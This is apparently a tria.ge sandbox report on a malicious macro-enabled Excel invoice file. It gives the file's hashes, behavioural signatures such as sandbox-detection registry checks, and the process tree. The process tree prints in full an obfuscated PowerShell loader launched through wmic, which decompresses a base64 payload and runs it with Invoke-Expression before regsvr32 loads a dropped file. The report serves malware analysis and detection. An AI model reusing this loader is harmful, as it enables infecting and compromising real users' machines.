Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    138s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    13/07/2020, 14:26

General

  • Target

    Invoice_711246_Inc.xlsm

  • Size

    33KB

  • MD5

    5b9436ae9c52fe45b7b6a25f6427e7e6

  • SHA1

    e618db4bcfd5f324bdba3db7652069b51d7683b6

  • SHA256

    75b230a41dcadada3c53b50a675360a71c19d282eb0de3824fa867274d74ba6e

  • SHA512

    b2fa420e10f11fbe67c1f9b7642f7db67a7241c3c055c258152ece1f7f8709195e8e94928b97c357046c2a1054f9500999e5165936217570c40f81d89ef1baa4

Score
10/10

Malware Config

Signatures

  • Blacklisted process makes network request 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Invoice_711246_Inc.xlsm"
    1⤵
    • Enumerates system info in registry
    • Checks processor information in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    • Suspicious use of SetWindowsHookEx
    PID:1484
    • C:\Windows\System32\Wbem\wmic.exe
      wmic pROcesS call CREATE "pOwershElL -noproF -NOniNTER -Win 01 -ExeCUTIoNpOL byPasS ieX("\"&('s'+'al') ('utf-'+'8') ('New'+'-Obje'+'ct');& ( `${S`H`elLid}[1]+`${shEL`l`ID}[13]+'X')(.('utf'+'-8') ('i'+'o'+'.STrEa'+'MreA'+'deR')(( &('u'+'tf-8') ('IO.'+'co'+'M'+'PREsS'+'Ion'+'.DE'+'fLAtEST'+'rEam')( [sYsTem.IO.MemorYSTReAm][sYStEM.CONVeRT]::fRomBASE64StRinG( ('bVVrc9o'+'4FP0rDuOt5AJOoE03'+'CcPsEvIoKcmmhYXtUqZ2jCBq/CC2TEJd/fc9VyYkmdkPIKH7'+'Ojr36GIXay/UbcZadpHp9h6WhW43sFxdYd1726Cj2Puh25zlrMpufOZUOZulEj/yiDmteR4HSiaxddnkdtH7qJ3CLjdult9kKpXxglNax6qnYhn6geCszmp2se5r5+Xh4OmwlQqVp7FlF9+1flHgE/KMkV/O+Q5/w9lQZKoOHN0EX3EsyI12DFm7FD4GhmU'+'oFWe7zJk0p+4wldFpPOPMIp/jfD4X'+'6UD+FFbjA0KSPFZWw'+'6oLH7EDbdXvcymU4xQbPPtAYxeX3icw5hNlay/CNqZ'+'tx+sQRzEBUDIDMXYReF06SyKcWfjsLkWagD9DtzFiCbYYLRM0QB9wt6jJHM5dzhYIfIgk8HI2lvG75veAakRLaoASa'+'bbGJqOqguos02'+'RGlkAxx3HzXM4oqQDM'+'W0VODN1bZkeEBkhKGBO7ONf'+'TanmJKnMDOG0tma4'+'Z87ZRFuPfTop97bCaycH+YAgdDHQLfSHkd0BOJcGwuLf2oYdCeDO67OlLTezVDjbQYJjpKun'+'sgspTOrFlxUXnDADdAhuDko'+'gR8Pv4pNK/CbGKo905DKbCVk8W6ekr9E1lPnrHVGgdaSLBpFohomFVroRyx+KmG0p'+'h'+'395UWrjCo'+'FdW8ZGfRB8KIqzbpFOYczUn2R3QTyQ6LxPVR77jmOiRiQ7wXTlJHuIw8Wcnvr'+'KjuwqAJF7nBKrgk'+'+6tn06mU0o4enUXE22KIWWYi79ix+Wl2wYPPqHYFiEv9LoXr5I7UToSPSZf6TUnLZhcjlO/SGT8zMvQOzsnYsTVyDvyhqeXS9J4JAH'+'RLgB0o8BAGnqN96835ZkgPdVTP54ZQVKN2I/Es1AqbvF'+'e23TpMZUwwVX2jfqLAtRpmFaXZDOsvBoYRncL'+'g3Gp2xMZqymcI/0WsykmjH3vc0db29hURMlKvA687lNuOPp4zEZPbMf0nt6LHxpusswsqVhkK+rCu6Z5hj88qjoUj8o9jYNkBlDTo6O/h2cHzwNp5HVQ76'+'f3D828YkA'+'TYNJN4pVIF'+'XzP0iQ69jPx4f3g6U7/eo8vp9vAp/GWpMIPbmGVSluSzgF7QgNoSmnRnT+5uYx3PaTrrDB03GFC8umkqb82'+'xp4yU2Plm7fX84aog8zYX4QUhNdp0aX6ICJU2Eq4uAFNPDLAqVqlagttVdvWJEDyKZ8cr5UA670h4blAMKbAzWOSPhmuvaUypr7+'+'DW0igGXOqWNG5cobUfHQu+9o98vmXXK'+'KC8vRMq1WdipOraTbPRdqS9U5/hta'+'E5m4cxkKsDlOpRKdMKTKGewPusafL7xa6Veya+7tQXgOUmAm'+'kd8CM42VGn7QjtsX8ULdbqhYon3iEezT483MExRLuDabRiqkj3pmAksHQcI3Dof/h7Av4yeEE6hKPML2NJPMeK9xzr5+/n1GeUFK3+8Ki4PyzpfpwWF1s2lsNvv7Tq3cHTaJqOgOxPwH'))"\"+ ([ChAR]44).ToStrinG() +"\"[Io.ComprEssion.ComPreSSIoNmODE]::DecOMpREsS))"\"+ ([ChAR]44).ToStrinG() +"\" [SYsteM.tExT.EncODiNg]::AsCII)).REaDtOEnD( )"\")"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Process spawned unexpected child process
      PID:1564
  • C:\Windows\System32\WindowsPowerShell\v1.0\pOwershElL.exe
    pOwershElL -noproF -NOniNTER -Win 01 -ExeCUTIoNpOL byPasS ieX("\"&('s'+'al') ('utf-'+'8') ('New'+'-Obje'+'ct');& ( `${S`H`elLid}[1]+`${shEL`l`ID}[13]+'X')(.('utf'+'-8') ('i'+'o'+'.STrEa'+'MreA'+'deR')(( &('u'+'tf-8') ('IO.'+'co'+'M'+'PREsS'+'Ion'+'.DE'+'fLAtEST'+'rEam')( [sYsTem.IO.MemorYSTReAm][sYStEM.CONVeRT]::fRomBASE64StRinG( ('bVVrc9o'+'4FP0rDuOt5AJOoE03'+'CcPsEvIoKcmmhYXtUqZ2jCBq/CC2TEJd/fc9VyYkmdkPIKH7'+'Ojr36GIXay/UbcZadpHp9h6WhW43sFxdYd1726Cj2Puh25zlrMpufOZUOZulEj/yiDmteR4HSiaxddnkdtH7qJ3CLjdult9kKpXxglNax6qnYhn6geCszmp2se5r5+Xh4OmwlQqVp7FlF9+1flHgE/KMkV/O+Q5/w9lQZKoOHN0EX3EsyI12DFm7FD4GhmU'+'oFWe7zJk0p+4wldFpPOPMIp/jfD4X'+'6UD+FFbjA0KSPFZWw'+'6oLH7EDbdXvcymU4xQbPPtAYxeX3icw5hNlay/CNqZ'+'tx+sQRzEBUDIDMXYReF06SyKcWfjsLkWagD9DtzFiCbYYLRM0QB9wt6jJHM5dzhYIfIgk8HI2lvG75veAakRLaoASa'+'bbGJqOqguos02'+'RGlkAxx3HzXM4oqQDM'+'W0VODN1bZkeEBkhKGBO7ONf'+'TanmJKnMDOG0tma4'+'Z87ZRFuPfTop97bCaycH+YAgdDHQLfSHkd0BOJcGwuLf2oYdCeDO67OlLTezVDjbQYJjpKun'+'sgspTOrFlxUXnDADdAhuDko'+'gR8Pv4pNK/CbGKo905DKbCVk8W6ekr9E1lPnrHVGgdaSLBpFohomFVroRyx+KmG0p'+'h'+'395UWrjCo'+'FdW8ZGfRB8KIqzbpFOYczUn2R3QTyQ6LxPVR77jmOiRiQ7wXTlJHuIw8Wcnvr'+'KjuwqAJF7nBKrgk'+'+6tn06mU0o4enUXE22KIWWYi79ix+Wl2wYPPqHYFiEv9LoXr5I7UToSPSZf6TUnLZhcjlO/SGT8zMvQOzsnYsTVyDvyhqeXS9J4JAH'+'RLgB0o8BAGnqN96835ZkgPdVTP54ZQVKN2I/Es1AqbvF'+'e23TpMZUwwVX2jfqLAtRpmFaXZDOsvBoYRncL'+'g3Gp2xMZqymcI/0WsykmjH3vc0db29hURMlKvA687lNuOPp4zEZPbMf0nt6LHxpusswsqVhkK+rCu6Z5hj88qjoUj8o9jYNkBlDTo6O/h2cHzwNp5HVQ76'+'f3D828YkA'+'TYNJN4pVIF'+'XzP0iQ69jPx4f3g6U7/eo8vp9vAp/GWpMIPbmGVSluSzgF7QgNoSmnRnT+5uYx3PaTrrDB03GFC8umkqb82'+'xp4yU2Plm7fX84aog8zYX4QUhNdp0aX6ICJU2Eq4uAFNPDLAqVqlagttVdvWJEDyKZ8cr5UA670h4blAMKbAzWOSPhmuvaUypr7+'+'DW0igGXOqWNG5cobUfHQu+9o98vmXXK'+'KC8vRMq1WdipOraTbPRdqS9U5/hta'+'E5m4cxkKsDlOpRKdMKTKGewPusafL7xa6Veya+7tQXgOUmAm'+'kd8CM42VGn7QjtsX8ULdbqhYon3iEezT483MExRLuDabRiqkj3pmAksHQcI3Dof/h7Av4yeEE6hKPML2NJPMeK9xzr5+/n1GeUFK3+8Ki4PyzpfpwWF1s2lsNvv7Tq3cHTaJqOgOxPwH'))"\"+ ([ChAR]44).ToStrinG() +"\"[Io.ComprEssion.ComPreSSIoNmODE]::DecOMpREsS))"\"+ ([ChAR]44).ToStrinG() +"\" [SYsteM.tExT.EncODiNg]::AsCII)).REaDtOEnD( )"\")
    1⤵
    • Blacklisted process makes network request
    • Suspicious use of WriteProcessMemory
    • Suspicious use of AdjustPrivilegeToken
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    PID:1840
    • C:\Windows\system32\regsvr32.exe
      "C:\Windows\system32\regsvr32.exe" -s C:\Users\Admin\AppData\Local\Temp\acrocef.
      2⤵
        PID:3956

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1484-3-0x0000018FE61E1000-0x0000018FE61E6000-memory.dmp

      Filesize

      20KB